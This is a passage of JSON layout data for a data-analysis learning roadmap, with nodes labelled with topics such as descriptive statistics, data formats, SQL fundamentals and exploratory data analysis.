\"c0ywBrs9u7MciWAXSgVVg\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 68.90056709513908, \"y\": 205.51786923257765 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Metrics and KPIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243,\n      \"style\": { \"width\": 176.0234375 },\n      \"measured\": { \"width\": 243, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"LjeipkY01Hlkp22kmlAMh\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 68.90056709513908, \"y\": 309.51786923257765 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Types of BI Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243,\n      \"style\": { \"width\": 122.3671875 },\n      \"measured\": { \"width\": 243, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"e3SdmNpVcvy3k_-JIO6OK\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 68.90056709513908, \"y\": 258.51786923257765 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stakeholder Identification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 243,\n      \"style\": { \"width\": 240.609375 },\n      \"measured\": { \"width\": 243, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"PkzUqwT21Owk_TfepFPDm\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -342.2189349312098, \"y\": 309.51786923257765 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Key Business Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 267,\n      \"style\": { \"width\": 226.375 },\n      \"measured\": { \"width\": 267, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"vTW3jSZ1bvc0OrP_bl22t\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.7349957653106, \"y\": 275.7411102342857 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Descriptive Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 238.7890625,\n      \"style\": { \"width\": 197.59375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"4zpVE3R0lLyWpHePdBVpl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.7349957653106, \"y\": 381.7411102342857 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Predictive Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 238.7890625,\n      \"style\": { \"width\": 187.4609375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"m5aC9aNy9mwLXz0xXBp40\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.7349957653106, \"y\": 328.7411102342857 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Diagnostic Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 238.7890625,\n      \"style\": { \"width\": 193.1796875 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"NnbtaO2MiqsHeJ-ds0Q5m\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -705.7349957653106, \"y\": 434.7411102342857 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prescriptive Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 238.7890625,\n      \"style\": { \"width\": 201.9296875 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"3DVF8zo-_WM_9GTuzQFO8\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -342.2189349312098, \"y\": 434.7411102342857 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Types of Data Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 267,\n      \"style\": { \"width\": 216.7890625 },\n      \"measured\": { \"width\": 267, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"yXz6MkU3-HnlkmRmYh-Ev\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 512.2446604585457 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Categorical vs Numerical\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 238.7890625,\n      \"style\": { \"width\": 238.6328125 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"YSxvg2HrfGoGtpkwY0kGc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 565.2446604585457 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Discrete vs Continuous\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 238.7890625,\n      \"style\": { \"width\": 222.640625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"height\": 49\n    },\n    {\n      \"id\": \"HM1w6JJquaV6Vq4mjxM7p\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 643.7191181786757 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Variables and Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 238.7890625,\n      \"style\": { \"width\": 238.7890625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"DQtznxvW5x4s-zGLpUpNY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -167.62404711259552, \"y\": 852.1137250636862 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mode\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bQNfB_ZfNdc0Rw6y_hLUP\"\n      },\n      \"width\": 88,\n      \"style\": { \"width\": 89.15625 },\n      \"measured\": { \"width\": 88, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"S4XEOd2-PHIHOiiGgKVLJ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -351.6240471125955, \"y\": 852.1137250636862 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mean\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YrobPBLD0WvIK1eSNvrep\"\n      },\n      \"width\": 88,\n      \"style\": { \"width\": 88.96875 },\n      \"measured\": { \"width\": 88, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"mfLRVcxvAjqmSG-KBpJ4J\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -259.6240471125955, \"y\": 852.1137250636862 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Median\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t87B--FhEYGgbWgt3IPMg\"\n      },\n      \"width\": 88,\n      \"style\": { \"width\": 102.6875 },\n      \"measured\": { \"width\": 88, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"xc1hm_XTyiMUVtWiTKXWG\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 758.8242632637848 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Descriptive Statistics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yrr8cVho7TtgZkVWq_TcJ\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 204.6015625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"JXYmXAYuA-zxrkl4PRLQd\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 849.3242632637848 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Correlation vs Causation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TuBJ2yUz1c5KMRGVHdvU5\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 233.90625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"ASHk2LOjlhwpwpWSRs_Bi\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 948.3738419639601 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Correlation Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m9ejACzRBJza0v-fpdfkn\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 189.5390625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"xgP3zIiSEr9dtYcCQikPb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 1449.901904855021 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Confidence Intervals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y9Fnjnbiqt7WkrhjPITpW\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"7DNtRMBZ_F0K1FQk-UCM4\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -347.80174122575795, \"y\": 947.3738419639601 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Inferential Statistics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 196.25 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"kb216tShKrRPWv7mE9sVa\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 86.27427722335835, \"y\": 1354.7245269070165 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Analog vs Digital Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 210.734375 },\n      \"measured\": { \"width\": 230, \"height\": 53 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 53\n    },\n    {\n      \"id\": \"qHcRrxenhogymMQ6EPiMa\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.27427722335847, \"y\": 1635.6786378917147 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Semistructured\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 161.7421875 },\n      \"measured\": { \"width\": 230, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"H1s1PQj8CHQ_VBQIy1VtJ\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 86.27427722335835, \"y\": 1504.2191181786757 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Types of data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 147.90625 },\n      \"measured\": { \"width\": 230, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"DJKXgelIxuahxJiqvwP6I\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.27427722335847, \"y\": 1688.6786378917147 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unstructured\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 145.375 },\n      \"measured\": { \"width\": 230, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"jnIn3_2fI2k97oALPZkt7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.27427722335847, \"y\": 1582.6786378917147 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Structured\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 125.2109375 },\n      \"measured\": { \"width\": 230, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"g5j_mbjx2yZUIK5lfN3eT\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 86.27427722335835, \"y\": 1209.8372561890803 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is Data?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 230,\n      \"style\": { \"width\": 148.328125 },\n      \"measured\": { \"width\": 230, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"g44bQY90HOeI_dZ8gK2Uj\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -359.13192312685567, \"y\": 1325.2430257701262 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 140,\n      \"style\": { \"width\": 127.5546875 },\n      \"measured\": { \"width\": 140, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"xQLsuJ3uohVzOxGfFLyFw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -212.30909110675702, \"y\": 1325.2430257701262 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Web\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 140,\n      \"style\": { \"width\": 149.625 },\n      \"measured\": { \"width\": 140, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"1cC6LKxcncaKg4Jm53pUy\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -359.13192312685567, \"y\": 1380.2430257701262 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mobile Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 140,\n      \"style\": { \"width\": 180.8359375 },\n      \"measured\": { \"width\": 140, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"WXk0-vebMUQC25he2lmbh\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -212.30909110675702, \"y\": 1380.2430257701262 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 140,\n      \"style\": { \"width\": 130.6640625 },\n      \"measured\": { \"width\": 140, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"xQDGmVwUkrmGdviOdG8Hu\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -359.13192312685567, \"y\": 1435.2430257701262 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 140,\n      \"style\": { \"width\": 79.765625 },\n      \"measured\": { \"width\": 140, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"GrwdQldCWu2zWAaNj6LFk\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -212.30909110675702, \"y\": 1435.2430257701262 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"IoT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 140,\n      \"style\": { \"width\": 132.3671875 },\n      \"measured\": { \"width\": 140, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"VUgxDDkoxkOcLxqpTDXzt\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -341.07337902664165, \"y\": 1504.2191181786757 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Sources\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 258,\n      \"style\": { \"width\": 148.4453125 },\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"LcLfC6BiOxJAkk2p424wL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -589.3760859131588, \"y\": 1584.0798012178122 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CSV\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_iV_5O5Rq07P9qRGrraTM\"\n      },\n      \"width\": 115,\n      \"style\": { \"width\": 77.8828125 },\n      \"measured\": { \"width\": 115, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"ytgK7van84j5DsfD0JyZ3\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -589.3760859131588, \"y\": 1637.0798012178122 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZAhjB_ghHukD4RPAtNDxh\"\n      },\n      \"width\": 115,\n      \"style\": { \"width\": 79.0703125 },\n      \"measured\": { \"width\": 115, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Dh62zxyyUHh0galD472p8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.8743999708162, \"y\": 1584.0798012178122 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Excel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9BWyA0b4WrmQetSMph_mY\"\n      },\n      \"width\": 115,\n      \"style\": { \"width\": 86.53125 },\n      \"measured\": { \"width\": 115, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"k80q5FPNiIUdxn5A8R3Hu\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.8743999708162, \"y\": 1688.6786378917147 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Other formats\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 235,\n      \"style\": { \"width\": 151.1015625 },\n      \"measured\": { \"width\": 235, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"p21d2mEUnTQgWhKFTGS9F\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.8743999708162, \"y\": 1637.0798012178122 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JSON\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"25f76eB9-vy3Usta-Pbsi\"\n      },\n      \"width\": 115,\n      \"style\": { \"width\": 90.203125 },\n      \"measured\": { \"width\": 115, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"GsZWvJPNzN6XLDp2G1db4\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -341.07337902664165, \"y\": 1636.5798012178122 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Formats\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 258,\n      \"style\": { \"width\": 148.7734375 },\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"s8LZgRwrlm1V4meGM7gj0\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -341.07337902664165, \"y\": 1850.3913347045232 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"N0zdp9eSt4D8McyHmNN59\"\n      },\n      \"width\": 258,\n      \"style\": { \"width\": 191.8671875 },\n      \"measured\": { \"width\": 258, \"height\": 53 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 53\n    },\n    {\n      \"id\": \"gJBaVERU3prru-qRksxN4\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 1907.3913347045232 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Popular Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 233,\n      \"style\": { \"width\": 190.578125 },\n      \"measured\": { \"width\": 233, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"ETT9eATuyLHQe2jPqaF5I\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -363.7189349312098, \"y\": 2061.516646445702 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exploratory Data Analysis (EDA)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 310,\n      \"style\": { \"width\": 297 },\n      \"measured\": { \"width\": 310, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"xjgqmJmetKpWXSWZHPwaL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 2256.5713712778006 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Duplicates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TCYG6vmFqq1zAPNQWoOH8\"\n      },\n      \"width\": 233,\n      \"style\": { \"width\": 144.8984375 },\n      \"measured\": { \"width\": 233, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"fhreEuoT8ZBRwJqbSGrEZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 2203.858794518697 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Missing Values\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 233,\n      \"style\": { \"width\": 181.9765625 },\n      \"measured\": { \"width\": 233, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"OqolfBQRQvwg6PI_t8Mrt\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 2309.5713712778006 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Outliers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 233,\n      \"style\": { \"width\": 105.046875 },\n      \"measured\": { \"width\": 233, \"height\": 49 },\n      \"zIndex\": 999,\n      